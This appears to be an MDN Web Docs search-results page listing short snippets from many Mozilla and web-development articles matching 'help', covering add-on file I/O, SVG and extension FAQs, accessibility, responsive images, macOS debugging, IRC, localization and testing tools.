ication failed", e); }); File IO File IO in add-ons should be done via the OS.File API, which provides a simple, but powerful, interface for reading, writing, and manipulating both text and binary files. It is also available for use off-main-thread in Workers as a synchronous API. This interface replaces the previous, complicated XPCOM nsIFile and streams APIs, and their related JavaScript helper modules. These older interfaces should be avoided, even in their asynchronous forms, due to their performance penalties and needless complexity. Representative Example Usage Components.utils.import("resource://gre/modules/osfile.jsm"); Task.spawn(function* () { // Retrieve file metadata to check modification time. let info = yield OS.File.stat(configPath); if (info.lastModificat...
...content", data.content); // Make the second request. resp = yield new Promise((resolve, reject) => { let xhr = new XMLHttpRequest; xhr.onload = resolve; xhr.onerror = reject; xhr.open("POST", updateURL); xhr.send(form); }); // Use the response of the second request. notifyUser(resp.target.responseText); }); Example Using Promise-Based Helper The following example relies on the helper function defined below. Task.spawn(function* () { // Make the initial request. let xhr = yield Request(dataURL, { responseType: "json" }); let data = xhr.response; // Use the response to construct form data object for the // second request. let form = new FormData; form.append("id", data.id); form.append("content", d...
...ld db.execute( "SELECT value FROM nodes WHERE key = 'timestamp' \ ORDER BY value DESC LIMIT 1"); latestTimestamp = row.getResultByIndex(0); } finally { // Make sure to close the database when finished. // Failure to do this will prevent Firefox from shutting down // cleanly. yield db.close(); } }); Promise Wrappers and Helpers The following are some example Promise-based wrappers for common callback-based asynchronous APIs. AddonManager var AOM = { __proto__: AddonManager, Addon: function Addon(addon) { if (!(addon && "getDataDirectory" in addon)) return addon; return { __proto__: addon, getDataDirectory: function getDataDirectory() { ...
...And 2 more matches
Developing New Mozilla Features - Archive of obsolete content
debase and coding practices before you start your feature Include learning time in your schedule. Mozilla is a complex codebase. Our portability requirements may be new to even seasoned developers. Our cross-platform component model ("XPCOM") is similar to COM, but you'll want to make sure you use it well before going too far with your project. And of course, we have a set of coding practices to help everyone live together. Life will be much easier if your team has one or more members who are already familiar with and to the Mozilla world. Develop relationships with existing developers in the area of your feature If you want to add a big new feature to mail, spend some time helping the existing mail developers. Talk to the developers about fixing some of their bugs. Fix some bugs. Have some...
...g some of their bugs. Fix some bugs. Have some of your QA team get involved. Once you're familiar with an area, do the completely unexpected and write a piece of documentation. Developers will be grateful, and you'll be known as someone seriously interested in contributing. Become familiar with our code review processes. Have someone on your team become Mozilla-savvy enough to obtain CVS access. ...
...ll be known as someone seriously interested in contributing. Become familiar with our code review processes. Have someone on your team become Mozilla-savvy enough to obtain CVS access. Help the existing developers to understand that you are "for real" That you have a clue about Mozilla development; that your team is going to ship a product. Our developers get a lot of mail, and not all of it is helpful. We appreciate the attention and interest in Mozilla, but the developers have to prioritize how they spend their time. Help them to realize you're an informed developer who is interested and able to contribute. This will be much easier if you've been working on suggestion two. Designate someone on your team to be involved with the mozilla.org CVS repository on a regular basis The ease of int...
...And 2 more matches
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
n a last-ditch attempt to find a content listener. nsIURIContentListener implementations We try to find one of these which can handle data of the type we're looking at (that is, it can give us an nsIStreamListener to pump data into). Most often, the one we find is nsDSURIContentListener, which corresponds to a docshell and handles most of the data types that Mozilla handles internally. ...
... We try to find one of these which can handle data of the type we're looking at (that is, it can give us an nsIStreamListener to pump data into). Most often, the one we find is nsDSURIContentListener, which corresponds to a docshell and handles most of the data types that Mozilla handles internally. ...
...handle data of the type we're looking at (that is, it can give us an nsIStreamListener to pump data into). Most often, the one we find is nsDSURIContentListener, which corresponds to a docshell and handles most of the data types that Mozilla handles internally. nsIExternalHelperAppService If we can't do anything else with a load, we give it to the nsIExternalHelperAppService and let it look for a helper app, put up the "what do I do now?" dialog, and so forth. Bird's Eye View <map id="loadDiagramMap" name="loadDiagramMap"><area alt="(13) DoContent()" coords="534,239,715,300" href="#nsIExternalHelperAppService::DoContent"> <area alt="(10) GetCategoryEntry()" coords="575,418,821,418,821,455,629,455,629,484,575,484" href="#CategoryManager" shape="poly"> <area alt="(12)" coords="539,133,583,163" ...
...And 2 more matches
Frequently Asked Questions - Archive of obsolete content
Why does Mozilla show source code/gibberish instead of SVG? There are two possible reasons for this: a simple mistake in the SVG file, or a misconfigured server. If there's a grey area at the top of the source with the text "This XML file does not appear to have any style information associated with it" then the problem is with the SVG file. ...
...t too. Mozilla is strict about this, and no, it's not a bug. Failing to respect the MIME types servers send is incorrect and has been a source of security holes in other browsers. Mozilla will not be changing this behaviour. For more information on server configuration for SVG see this link. Why does Mozilla show an "XML Parsing Error" message instead of SVG? This is an XML debugging message to help XML authors correct errors in their XML documents. Mozilla will show this message when there's an XML well formedness error in the file it tried to load. (It doesn't mean there's an error in Mozilla.) There are many different XML errors, but the most common one in SVG files is "XML Parsing Error: prefix not bound to a namespace". This is (almost certainly) because the 'xmlns:xlink' attribute has ...
...n the HTML page and its 'type' attribute is set to the wrong MIME type. The SVG MIME type is image/svg+xml (not image/svg-xml or anything else for that matter). Correct this mistake or ask the document maintainer to correct it. How should I report bugs in Mozilla SVG? If you discover any problems with our SVG implementation that you think we should know about then we'd like to hear from you. To help us make the best use of our time, please first search in the SVG component of our bug database to check that the issue hasn't already been reported. If you can't find a matching bug please file a new SVG bug report, preferably attaching a (very small!) SVG file that demonstrates the bug. If you have any problems with the bug database feel free to contact contact us. Can I use a plugin for SVG in...
...And 2 more matches
Extentsions FAQ - Archive of obsolete content
exist in a toolbar palette and status bar? Option #3 Install Status Buttons 1.0 <https://addons.mozilla.org/firefox/1272/> "Lets you put toolbar buttons at either end of the status-bar. Just drag them there from the toolbar customisation window, like you would when adding buttons to the toolbars." Option #4 Install Toolbar Control <http://webdesigns.ms11.net/chromeditp.html> Asking for help with getting an extension to process Windows messages. use WM_COPYDATA How to creating an extension that can replace HTML code on a specific page that does not use Greasemonkey? var newNode = document.createElement(" ... html content here ... "); var replaceMe = document.getElementById("replaceMe"); replaceMe.parentNode.replaceChild(newNode, replaceMe); Is it possible to place an image ...
...ata? Yes. You can use nsISecretDecoderRing.encryptString() and nsISecretDecoderRing.decryptString(). However, I'm not sure how/if that works if the user hasn't defined a master password in Options->Security->Use a master password. You can AES-128 or AES-256 symmetric encryption via aes.js (http://tinyurl.com/pp79t). No confirmation from the question asker on whether this answer was helpful in solving their problem. Friday, October 06 - 13, 2006 (? top) Any suggestions to remove tool tip appears on the menu it when it should not? What you described was a bug (https://bugzilla.mozilla.org/show_bug.cgi?id=147670). It looks like it has been fixed for Firefox version 2. What do I need to do to avoid deadlocks? Do I need to marshalinvokations to a particular thread? If so, ho...
...s trying to load and write out the script element by hand. Could someone write an extension that would collapse the current sidebar in Firefox? These are called "Grippies" <https://addons.mozilla.org/firefox/2242/> This extension brings grippies back to Firefox (and Thunderbird!) Is there any way to write a regular extension that returns a "dummy" object when an Instance of "@mozilla.org/helperapplauncherdialog;1" is created? You can write a dummy XPCOM component implementing the necessary interfaces and register it with the sane contract id. http://developer.mozilla.org/en/docs...PCOM_Component Would anyone be able to suggest the best way to do source level debugging in a Firefox extension? In the Debug menu, uncheck Exclude Browser Files. Use the debugger by typing in a comma...
...And 2 more matches
2D maze game with device orientation - Game development
k Phaser is a framework for building desktop and mobile HTML5 games. It's quite new, but growing rapidly thanks to the passionate community involved in the development process. You can check it out on GitHub where it's open sourced, read the online documentation and go through the big collection of examples. The Phaser framework provides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the game idea itself. Starting with the project You can see Cyber Orb source code on GitHub. The folder structure is quite straightforward: the starting point is the index.html file where we initialize the framework and set up an <canvas> to render the game on. You can open the index file in your favourite browser to launc...
...t to put the Canvas in. If there's nothing specified in that last argument or the element is not found, the Canvas will be added to the <body> tag. Without the framework, to add the Canvas element to the page, you would have to write something like this inside the <body> tag: <canvas id='game' width='320' height='480'></canvas> The important thing to remember is that the framework is setting up helpful methods to speed up a lot of things like image manipulation or assets management, which would be a lot harder to do manually. Note: You can read the Building Monster Wants Candy article for the in-depth introduction to the basic Phaser-specific functions and methods. Back to game states: the line below is adding a new state called Boot to the game: game.state.add('Boot', Ball.Boot); The ...
...We're loading two images first that will be used later in the Preload state to show the progress of loading all the other assets. The create function holds some basic configuration: we're setting up the scaling and alignment of the Canvas, and moving on to the Preload state when everything's ready. Preloader.js The Preloader state takes care of loading al...
...And 2 more matches
HTML: A good basis for accessibility - Learn web development
e, you should replace such bad code. Sometimes you are not in the position to get rid of lousy markup -- your pages might be generated by some kind of server-side framework over which you don't have full control, or you might have third party content on your page (such as ad banners) over which you have no control. The goal isn't "all or nothing." However, -- every improvement you can make will help the cause of accessibility. Text content One of the best accessibility aids a screen reader user can have is an excellent content structure with headings, paragraphs, lists, etc. An excellent semantic example might look something like the following: <h1>My heading</h1> <p>This is the first section of my document.</p> <p>I'll add another paragraph here too.</p> <ol> <li>Here is</li> <li>...
...In this example the user will at least know it is a dinosaur of some kind, but often files may be uploaded with machine-generated file names (e.g. from a digital camera) and these file names would likely provide no context to the image's content. Note: This is why you should never i...
...ria-labelledby="dino-label"> <p id="dino-label">The Mozilla red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p> The first image, when viewed by a screen reader, doesn't really offer the user much help -- VoiceOver for example reads out "/dinosaur.png, image". It reads out the filename to try to provide some help. In this example the user will at least know it is a dinosaur of some kind, but often files may be uploaded with machine-generated file names (e.g. from a digital camera) and these file names would likely provide no context to the image's content. Note: This is why you should never include text content inside an image -- screen readers simply can't access it. There are other disadvantages too -...
...And 2 more matches
HTML: A good basis for accessibility - Learn web development
e, you should replace such bad code. Sometimes you are not in the position to get rid of lousy markup -- your pages might be generated by some kind of server-side framework over which you don't have full control, or you might have third party content on your page (such as ad banners) over which you have no control. The goal isn't "all or nothing." However, -- every improvement you can make will help the cause of accessibility. Text content One of the best accessibility aids a screen reader user can have is an excellent content structure with headings, paragraphs, lists, etc. An excellent semantic example might look something like the following: <h1>My heading</h1> <p>This is the first section of my document.</p> <p>I'll add another paragraph here too.</p> <ol> <li>Here is</li> <li>...
...In this example the user will at least know it is a dinosaur of some kind, but often files may be uploaded with machine-generated file names (e.g. from a digital camera) and these file names would likely provide no context to the image's content. Note: This is why you should never i...
...ria-labelledby="dino-label"> <p id="dino-label">The Mozilla red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p> The first image, when viewed by a screen reader, doesn't really offer the user much help -- VoiceOver for example reads out "/dinosaur.png, image". It reads out the filename to try to provide some help. In this example the user will at least know it is a dinosaur of some kind, but often files may be uploaded with machine-generated file names (e.g. from a digital camera) and these file names would likely provide no context to the image's content. Note: This is why you should never include text content inside an image -- screen readers simply can't access it. There are other disadvantages too -...
...And 2 more matches
Test your skills: Overflow - Learn web development
Task One The content is overflowing the box because it has a fixed height. Keep the height but cause the box to have scrollbars only if there is enough text to cause an overflow. Test by removing some of the text from the HTML, that if there is only a small amount of text that does not overflow, no scrollbar appears. ...
... Task One The content is overflowing the box because it has a fixed height. Keep the height but cause the box to have scrollbars only if there is enough text to cause an overflow. Test by removing some of the text from the HTML, that if there is only a small amount of text that does not overflow, no scrollbar appears. ...
...sk an image is in the box, it is bigger than the dimensions of the box so overflows visibly. Change it so that any image outside of the box is hidden. Try updating the live code below to recreate the example as displayed in the image: For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. ...
...And 2 more matches
Test your skills: Advanced styling - Learn web development
This aim of this skill test is to assess whether you've understood our Advanced form styling and UI pseudo-classes articles. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Advanced form styling 1 In our first advanced styling tasks, we want you to handle making a search input as consistent as possible across browsers -- a trickier task than with standard text inputs, even on modern browsers. We've already provided you with a basic reset to build upon. First of all, try giving the search box a consistent width, height, paddin...
...r problem with just getting rid of the blue focus outline. What is it? Can you add some kind of styling back in so that users can tell when the search box is being hovered or focused? Another thing that commonly denotes a search box is a magnifying glass icon. We've made one available in the same directory as our HTML files -- see search-24px.png -- plus a <div> element after the search input to help you attach it, should you need it. Can you figure out a sensible way to attach it, and can you use some CSS to get it to sit to the right of the search box, and be lined up vertically as well? Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Advanced form styling 2 In our next t...
...f validity. First of all, we want you to provide some specific styling to visually indicate which inputs have to be filled in -- they cannot be left empty. Second, we want you to provide a useful visual indicator of whether the data entered inside each input is valid or not. Download the starting point for this task to work in your own editor or in an online editor. ...
...And 2 more matches
Marking up a letter - Learn web development
rmatting. Objective: Test basic and advanced HTML text formatting, use of hyperlinks, and use of HTML <head>. Starting point To begin, get the raw text you need to mark up, and the the CSS to style the HTML. Create a new .html file using your text editor or use an online tool such as CodePen, jsFiddle, or Glitch to complete the tasks. Note: If you get stuck, then ask us for help. See the Assessment or further help section at the bottom of this page. Project brief For this project, your task is to mark up a letter that needs to be hosted on a university intranet. The letter is a response from a research fellow to a prospective PhD student concerning their application to the university. Block/structural semantics Use appropriate document structure including doctype,...
...ded inside an appropriate tag. Hints and tips Use the W3C HTML validator to validate your HTML. Award yourself bonus points if it validates. You don't need to know any CSS to do this assignment. You just need to put the provided CSS inside an HTML element. Example The following screenshot shows an example of what the letter might look like after being marked up. Assessment or further help If you would like your work assessed, or if you get stuck and want to ask for help: Put your work in an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Marking up a letter". Details of what you have al...
... A link to the actual task or assessment page, so we can read the exact wording of the relevant question(s). ...
...And 2 more matches
Responsive images - Learn web development
Responsive images are just one part of responsive design, a future CSS topic for you to learn. ...
...Responsive images are just one part of responsive design, a future CSS topic for you to learn. ...
...r smaller depending on the device -- this is the situation we have with the second content image in our example. The standard <img> element traditionally only lets you point the browser to a single source file: <img src="elva-fairy-800w.jpg" alt="Elva dressed as a fairy"> We can however use two new attributes -- srcset and sizes -- to provide several additional source images along with hints to help the browser pick the right one. You can see an example of this in our responsive.html example on Github (see also the source code): <img srcset="elva-fairy-480w.jpg 480w, elva-fairy-800w.jpg 800w" sizes="(max-width: 600px) 480px, 800px" src="elva-fairy-800w.jpg" alt="Elva dressed as a fairy"> The srcset and sizes attributes look complicated, but they're n...
...And 2 more matches
Video and audio content - Learn web development
Using multiple source formats to improve compatibility There's a problem with the above example, which you may have noticed already if you've tried to access the live link above with an older browser like Internet Explorer or even an older version of Safari. The video won't play, because different browsers support different video (and audio) formats. Fortunately, there are things you can do to help prevent this from being a problem. Contents of a media file First, let's go through the terminology quickly. Formats like MP3, MP4 and WebM are called container formats. They define a structure in which the audio and/or video tracks that make up the media are stored, along with metadata describing the media, what codecs are used to encode its channels, and so forth. A WebM file containing a mo...
... site and the user's browser don't share a media format in common, your media simply won't play. Due to the intricacies of ensuring your app's media is viewable across every combination of browsers, platforms, and devices you wish to reach, choosing the best combination of codecs and container can be a complicated task. See Choosing the right container in Media container formats (file types) for help selecting the container file format best suited for your needs; similarly, see Choosing a video codec in Web video codec guide and Choosing an audio codec in Web audio codec guide for help selecting the first media codecs to use for your content and your target audience. One additional thing to keep in mind: mobile browsers may support additional formats not supported by their desktop equivalent...
...that you include it. The type attribute contains the MIME type of the file specified by the <source>, and browsers can use the type to immediately skip videos they don't understand. Iftype isn't included, browsers will load and try to play each file until they find one that works, which obviously takes time and is an unnecessary use of resources. Refer to our guide to media types and formats for help selecting the best containers and codecs for your needs, as well as to look up the right MIME types to specify for each. Other <video> features There are a number of other features you can include when displaying an HTML video. Take a look at our next example: <video controls width="400" height="400" autoplay loop muted preload="auto" poster="poster.png"> <source src="rabbit320...
...And 2 more matches
Making decisions in your code — conditionals - Learn web development
n if condition is true else run some other code instead This is perfectly valid code, but using it is not recommended -- it is much easier to read the code and work out what is going on if you use the curly braces to delimit the blocks of code, and use multiple lines and indentation. A real example To understand this syntax better, let's consider a real example. ...
... using it is not recommended -- it is much easier to read the code and work out what is going on if you use the curly braces to delimit the blocks of code, and use multiple lines and indentation. A real example To understand this syntax better, let's consider a real example. Imagine a child being asked for help with a chore by their mother or father. ...
...tContent = 'It is ' + temperature + ' degrees outside -- REALLY HOT! If you want to go outside, make sure to put some sunscreen on.'; } } Even though the code all works together, each if...else statement works completely independently of the other one. Logical operators: AND, OR and NOT If you want to test multiple conditions without writing nested if...else statements, logical operators can help you. When used in conditions, the first two do the following: && -- AND; allows you to chain together two or more expressions so that all of them have to individually evaluate to true for the whole expression to return true. || -- OR; allows you to chain together two or more expressions so that one or more of them have to individually evaluate to true for the whole expression to return true. ...
...And 2 more matches
Ember resources and troubleshooting - Learn web development
res (such as classes, modules, etc), will be extremely beneficial, as Ember makes heavy use of them. Objective: To provide further resource links and troubleshooting information. Further resources Ember.JS Guides Tutorial: Super Rentals Ember.JS API Documentation Ember.JS Discord Server -- a forum/chat server where you can meet the Ember community, ask for help, and help others! General troubleshooting, gotchas, and misconceptions This is nowhere near an extensive list, but it is a list of things that came up around the time of writing (latest update, May 2020). How do I debug what's going on in the framework? For framework-specific things, there is the ember-inspector add-on, which allows inspection of: Routes & Controllers Components Serv...
...y possible to use JSX, or any other form of DOM creation, there has yet to be anything as robust as Ember's templating system. The intentional minimalism forces certain decisions, and allows for more consistent code, while keeping the template more structural rather than having them filled with bespoke logic. See also: ReactiveConf 2017: Secrets of the Glimmer VM What is the state of the mut helper? mut was not covered in this tutorial and is really baggage from a transitional time when Ember was moving from two-way bound data to the more common and easier-to-reason-about one-way bound data flow. It could be thought of as a build-time transform that wraps its argument with a setter function. More concretely, using mut allows for template-only settings functions to be declared: <Checkbo...
...ch would then be called in the template like so: <Checkbox @data={{this.someData}} @onChange={{this.setData}} /> Due to the conciseness of using mut, it may be desireable to reach for it. However, mut has unnatural semantics and has caused much confusion over the term of its existence. ...
...And 2 more matches
Command line crash course - Learn web development
command line based tools and software. We'll see how to install some tools later on in this chapter, and we'll learn more about package registries in the next chapter. One of the biggest criticisms of the command line is that it lacks hugely in user experience. Viewing the command line for the first time can be a daunting experience: a blank screen and a blinking cursor, with very little obvious help available on what to do. On the surface they're far from welcoming but there's a lot you can do with them, and we promise that, with a bit of guidance and practise, using them will get easier! This is why we are providing this chapter -- to help you get started in this seemingly unfriendly environment. Where did the terminal come from? The terminal originates from around the 1950s-60s and its ...
...article we will install Prettier as a global command line utility. Prettier is an opinionated code formatting tool for front end developers, focusing around JavaScript-based languages and adding support for HTML, CSS, SCSS, JSON and more. Prettier can: Save the cognitive overhead of getting the style consistent manually across all your code files; Prettier can do this for you automatically. Help newcomers to web development format their code in best-practice fashion. Be installed on any operating system and even as a direct part of project tooling, ensuring that colleagues and friends who work on your code use the code style you're using. Be configured to run upon save, as you type, or even before publishing your code (with additional tooling that we'll see later on in the module). O...
...that we'll see later on in the module). Once you've installed node, open up the terminal and run the following command to install Prettier: npm install --global prettier Once the command has finished running, the Prettier tool is now available in your terminal, at any location in your file system. ...
...And 2 more matches
Client-side tooling overview - Learn web development
Overview: Understanding client-side tools Next In this article we provide an overview of modern web tooling, what kinds of tools are available and where you'll meet them in the lifecycle of web app development, and how to find help with individual tools. Prerequisites: Familiarity with the core HTML, CSS, and JavaScript languages. Objective: To understand what types of client-side tooling there are, and how to find tools and get help with them. Overview of modern tooling Writing software for the web has become more sophisticated through the ages. Although it is still entirely reasonable to write HTML, CSS, and JavaScript "by hand" there is now a wealth of tools that developers can use to speed up the process of building a web site, or app. There are s...
...main problems the tools are solving. If you jump on your favourite search engine and look for "front-end developer tools" you're going to hit a huge spectrum of results ranging from text editors, to browsers, to the type of pens you can use to take notes. Though your choice of code editor is certainly a tooling choice, this series of articles will go beyond that, focusing on developer tools that help you produce web code more efficiently. From a high-level perspective, you can put client-side tools into the following three broad categories of problems to solve: Safety net -- Tools that are useful during your code development. Transformation -- Tools that transform code in some way, e.g. turning an intermediate language into JavaScript that a browser can understand. Post-development -- T...
...of the tooling should be specific to your own development environment, though it's not uncommon for companies to have some kind of policy or pre-baked configuration available to install so that all their developers are all using the same processes. This includes anything that makes your development process easier with respect to generating stable and reliable code. Safety net tooling should also help you either prevent mistakes or correct mistakes automatically without having to build your code from scratch each time. A few very common safety net tool types you will find being used by developers are as follows. Linters Linters are tools that check through your code and tell you about any errors that are present, what error types they are, and what code lines they are present on. Often lint...
...And 2 more matches
Debugging on Mac OS X
from the terminal see Debugging Mozilla with lldb. For specific information on a way to debug hangs, see Debugging a hang on OS X. Creating a debuggable build First, you need to build the application you're going to debug using --disable-optimize--enable-debug-symbols in your .mozconfig (also add --enable-debug if you want assertions etc. compiled in). See Building Firefox for macOS if you need help creating your own build. Debugging Firefox on macOS 10.14+ macOS 10.14 introduced Notarization and Hardened Runtime features for improved application security. macOS 10.15 went further, requiring applications to be Notarized with Hardened Runtime enabled in order to launch (ignoring workarounds.) When run on earlier macOS versions, Notarization and Hardened Runtime settings have no effect. Off...
...bugging purposes" below. Select the "Arguments" tab in the scheme editor, and click the '+' below the "Arguments passed on launch" field. Add "-P profilename", where profilename is the name of a profile you created previously. Repeat that to also add the argument "-no-remote". Also in the "Arguments" panel, you may want to add an environment variable MOZ_DEBUG_CHILD_PROCESS set to the value 1 to help with debugging e10s. Select "Build" from the left of the scheme editor window, and check that there is nothing listed under Targets (otherwise it may cause problems when you try to run the executable for debugging since you will get build errors). Click "Close" to close the scheme editor. At this point you can run the application from Xcode, and when you pause or hit breakpoints it should sho...
...Instead, add the following to your $HOME/.lldbinit: # This automatically sources the Mozilla project's .lldbinit as soon as lldb # starts or attaches to a Mozilla app (that's in an object directory). # # This is mainly a workaround for Xcode not providing a way to specify that # lldb should be run from a given directory. (Xcode always runs lldb from "/", # regardless of what directory Xcod...
...And 2 more matches
Overview of Mozilla embedding APIs
he Gecko embedding support. This must be the first function call made into Gecko. NS_TermEmbedding This function shuts down Gecko and cleans up any remaining resources... Currently, once Gecko has been shutdown, it cannot be restarted in the same process space... This should change in the future. nsMemory nsMemory::Alloc nsMemory::Realloc nsMemory::Free This helper class provides static accessors to the global nsMemory Service. NS_GetGlobalComponentManager This function returns an instance of the Component Manager service. NS_ConvertASCIItoUCS2 This is a helper class which converts an ASCII string into a UCS2 string. Typically, instances of this class are stack allocated, and wrap ASCII arguments which must be converted into UCS2. do_QueryInter...
...s static accessors to the global nsMemory Service. NS_GetGlobalComponentManager This function returns an instance of the Component Manager service. NS_ConvertASCIItoUCS2 This is a helper class which converts an ASCII string into a UCS2 string. Typically, instances of this class are stack allocated, and wrap ASCII arguments which must be converted into UCS2. do_QueryInterface This is a helper class which works in conjunction with nsCOMPtr to perform a simplified call to nsISupports::QueryInterface(...) with a typesafe assignment. do_GetInterface This function simplfies retrieving interfaces via the nsIInterfaceRequestor::GetInterface(...) method. Using this function, one can use nsISupports instances and still easily access other interfaces via nsIInterfaceRequestor. Internally,...
......) to retrieve the requested interface. do_QueryReferent This function is the equivilent of do_QueryInterface except that it performs the QI through a weak reference. do_GetService This function simplifies accessing services from the Service Manager. do_CreateInstance This function simplifies creating new component instances. nsCOMTypeInfo<interface-type>::GetIID() This template helper class allows easy access to an interface's nsIID. Typically the NS_GET_IID(...) macro is used instead of using the nsCOMTypeInfo template directly. NS_GetWeakReference This function creates a weak reference to a component which implements the nsIWeakReference interface. Global Services nsServiceManager The Service Manager is the central repository for accessing instances of the various XPCO...
...And 2 more matches
Getting Started with Chat
"ashughes: good morning!" Every channel has its own topic. Try to keep your messages within that subject matter. For example, do not talk about Thunderbird issues in #Firefox. Mozilla's channels are most active between 9am and 7pm PST Monday to Friday, excluding US Holidays. When asking a question, be patient. Sometimes, it can take a few minutes for people to respond. Posting a message like "Help!" is not particularly helpful. Asking a good question will result in a better experience for both you and the person trying to help. Relax and have fun! Software There are several different applications which allow you to connect to IRC networks. You will need to use the following information to configure the server connection: Server: irc.mozilla.org Port: 6667 (default) or 6697 (SSL) ...
...se users are known as bots and automatically perform certain tasks; some automatic, some triggered by other users. The most common of these bots are called NickServ, ChanServ, and Firebot. NickServ This bot allows you to register your nickname which prevents other users from using it. NickServ also automatically elevates all registered users to operators when they sign on.The following are some helpful commands which can be used by NickServ: /msg NickServ REGISTER password email This registers your nickname with the server. /msg NickServ IDENTIFY password Once registered, you need to type this every time you want to sign into channels using your registered nickname /msg NickServ HELP This displays a list of commands which can be used with NickServ ...
...ch can be used by NickServ: /msg NickServ REGISTER password email This registers your nickname with the server. /msg NickServ IDENTIFY password Once registered, you need to type this every time you want to sign into channels using your registered nickname /msg NickServ HELP This displays a list of commands which can be used with NickServ /msg NickServ HELP REGISTER This displays helpful information about nickname registration /msg NickServ HELP IDENTIFY This displays helpful information about identifying yourself upon sign in For more information about NickServ go here. ChanServ This bot allows you to register new channels and control aspects of channels. The following are some helpful commands which can be used by ChanServ:...
...And 2 more matches
Translation phase
efforts, you get to move on to the very reason you've come here: to localize Mozilla projects. This is where the technical aspect of the process begins to divide. At Mozilla, we localize many different projects that can be categorized into three different groups. Each group of projects employs a different type of l10n tool for, you guessed it, localizing the projects. The l10n tools are meant to help you maintain your localized content from release to release and leverage already localized materials when localizing new content. Here we'll identify those groups of projects and the l10n tools associated with them. Along the way we'll point you to basic, technical tutorials on localizing for that particular project group. It's up to you and your community to determine which l10n tool will best ...
...s, and Add-ons. Below you'll find the list of all Mozilla projects, their associated l10n tools, and links to tutorials outlining their workflows. Mozilla applications So you're interested in localizing Mozilla applications. Each l10n tool follows a different workflow for localizing Mozilla application projects. We've linked a brief tutorial to each l10n tool name below. Follow the tutorials to help you decide which l10n tool fits your specific needs. These are the l10n tools we use to localize Mozilla applications: Pootle A user-friendly web portal built on the Translate Toolkit API. This tool includes workspaces for translating strings, reviewing string submissions, and project dashboards. See the instance of Pootle used to localize Mozilla applications. Koala A l10n add-on for t...
... Pootle A user-friendly web portal built on the Translate Toolkit API. This tool includes workspaces for translating strings, reviewing string submissions, and project dashboards. See the instance of Pootle used to localize Mozilla applications. Koala A l10n add-on for the offline, stand-alone Komodo Edit text editor. Mozilla Translator Am offline, stand-alone, Java-based l10n tool that helps you translate and integrates with your repositories. Visit the Mozilla Translator (MT) download page to get your own MT client. Version 5.26 is the latest version. Virtaal An offline, stand-alone version of Pootle that is also built on the Translate Toolkit API. These are the Mozilla application projects that are localized using the l10n tools above: Firefox The award-winning Firefox(R) ...
...And 2 more matches
AsyncTestUtils extended framework
The AsyncTestUtils Extended Framework is one mechanism for testing the MailNews component of Thunderbird. See MailNews automated testing for a description of the other testing mechanisms. ...
...ld yield control up to the top-level. Calling async_driver() lets it know to start up again. A function should yield true or return true when the asynchronous driver should continue executing without stopping. A function that does not return anything (or returns undefined) and is not a generator is treated like a function that returned true. Most of the things you will want to do already have helper functions that take care of all of this, so all you need to do is pass their return values through. For example, you would do "yield async_move_messages(...);" and be done with it. Helpers for the Asynchronous Function Contract It can be annoying to have to write interface boilerplate just to call async_driver. If you have the following types of listeners you can use the following pre-defined...
...r functions that take care of all of this, so all you need to do is pass their return values through. For example, you would do "yield async_move_messages(...);" and be done with it. Helpers for the Asynchronous Function Contract It can be annoying to have to write interface boilerplate just to call async_driver. If you have the following types of listeners you can use the following pre-defined helpers: nsIUrlListener: asyncUrlListener (predefined). If you need to wrap an existing url listener or need a callback or fancy promise, create an instance of AsyncUrlListener. copy listener: asyncCopyListener. Bringing messages into the picture Synthetic set definitions Most of the code involved in creating synthetic messages takes an object that defines how to generate the set. The follo...
...And 2 more matches
Web Replay
ine from the one which recorded them. This requires using the same build of firefox and a reasonably similar version of the operating system; otherwise the tab will probably crash. This feature has had little testing or polishing and there is not yet a good definition of 'reasonably similar'. Time Travel Features This section describes extensions to the developer tools that use time travel to help debug a recording/replaying tab. Step Back When paused, the reverse step button in the Debugger developer tool will step to the previous line executed and allow inspecting program state there. It is the opposite of the normal forward step button. Rewind to Breakpoint When paused, if there are any breakpoints set then the rewind button will run back and stop at the last time a breakpoint wa...
...ole Messages Errors and logged messages in the Console developer tool can be clicked on to cause the tab to seek to the point in the recording where the error was generated or the message was logged. The tab will pause at this point and allow state to be inspected, forward/reverse stepping, and so forth. Timeline The timeline is shown above the developer tools and provides several features to help with navigating the recording: The timeline changes color depending on whether the tab is currently recording (red) or replaying (blue). The current position within the recording is shown on the timeline with a progress indicator. Console error/messages are marked on the timeline and can be clicked to seek to that point. Advanced Options Preferences devtools.recordreplay.enableRewindin...
...sabled, Firefox records a page signifcantly faster. default true. devtools.recordreplay.fastLogpoints When enabled, Firefox Web Replay evaluates logpoints consecutively. Logpoints cannot have side-effects or diverge from the recording in any othe way in this mode. default false. devtools.recordreplay.logging When enabled, Firefox will log Web Replay's internal actions to the terminal, which is helpful when debugging hangs and crashes. default false Architecture There are several main components to the project: The record/replay infrastructure records enough information during recording so that the replayed process can run and produce the same observable behaviors. IPC integration allows a replaying process to communicate with the chrome process using IPDL and shared memory. The rewi...
...And 2 more matches
Mozilla Projects
Mozilla has a number of projects other than Firefox itself. Many of these are components of Firefox or are tools used to create Firefox, but may be used by other projects as well. Here you'll find links to documentation about these projects. compare-locales compare-locales is a Python script that helps localizers to check their work without running Firefox or another application. Crash reporting Firefox ships with an open-source crash reporting system. This system is combination of projects: Emscripten Emscripten is an LLVM to JavaScript compiler. It takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles th...
... JSHydra is a static analysis tool that is capable of performing analysis of general JavaScript code. L20n L20n lets localizers reach higher levels of free linguistic expression by sharpening the divide between localization and application logic. Leak Monitor Leak Monitor is a Firefox extension by L. David Baron that helps extension and chrome developers to find memory leaks. It will pop-up an alert when a window is closed and JavaScript still links to that window (for example, an observer that is not cleared when the window closes). MailNews MailNews stands for "Mail and Newsgroups". MailNews is the back end of the messaging parts of SeaMonkey and ...
